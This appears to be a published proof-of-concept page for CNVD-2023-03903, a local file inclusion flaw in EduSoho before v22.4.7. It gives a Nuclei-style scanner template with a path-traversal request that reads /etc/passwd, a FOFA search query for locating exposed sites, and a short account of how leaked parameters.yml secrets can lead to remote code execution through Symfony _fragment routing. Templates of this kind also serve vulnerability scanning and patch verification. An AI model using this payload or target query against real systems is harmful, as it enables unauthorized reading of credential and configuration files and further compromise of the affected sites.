The edusoho education and training system <v22.4.7 has unauthorized file reading vulnerability. Through this vulnerability, an attacker can read the contents of the config/parameters.yml file and obtain sensitive information such as the secret value saved in the file and database account password. After the secret value is obtained, an attacker can implement RCE with symfony _fragment routing.
PoC代码[已公开]
id: CNVD-2023-03903
info:
name: EduSoho < v22.4.7 - Local File Inclusion
author: s4e-io
severity: high
description: |
The edusoho education and training system <v22.4.7 has unauthorized file reading vulnerability. Through this vulnerability, an attacker can read the contents of the config/parameters.yml file and obtain sensitive information such as the secret value saved in the file and database account password. After the secret value is obtained, an attacker can implement RCE with symfony _fragment routing.
reference:
- https://blog.csdn.net/qq_41904294/article/details/135007351
- https://github.com/gobysec/GobyVuls/blob/master/CNVD-2023-03903.md
metadata:
verified: true
max-request: 1
vendor: hagzhou-kuozhi-network-technology
product: edusoho
fofa-query: title="Powered By EduSoho" || body="Powered by <a href=\"http://www.edusoho.com/\" target=\"_blank\">EduSoho" || (body="Powered By EduSoho" && body="var app")
tags: cnvd,cnvd2023,lfi,edushoho
http:
- raw:
- |
GET /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: content_type
words:
- "text/csv"
- type: status
status:
- 200
# digest: 490a004630440220519e651840157dd0d430613488d05a9fb0ffcbc63470adb56870318817232caf0220601b4c2fb5c9c93574490265cee0c57a5221507738501519d549a21e0f801ed8:922c64590222798bb761d5b6d8e72950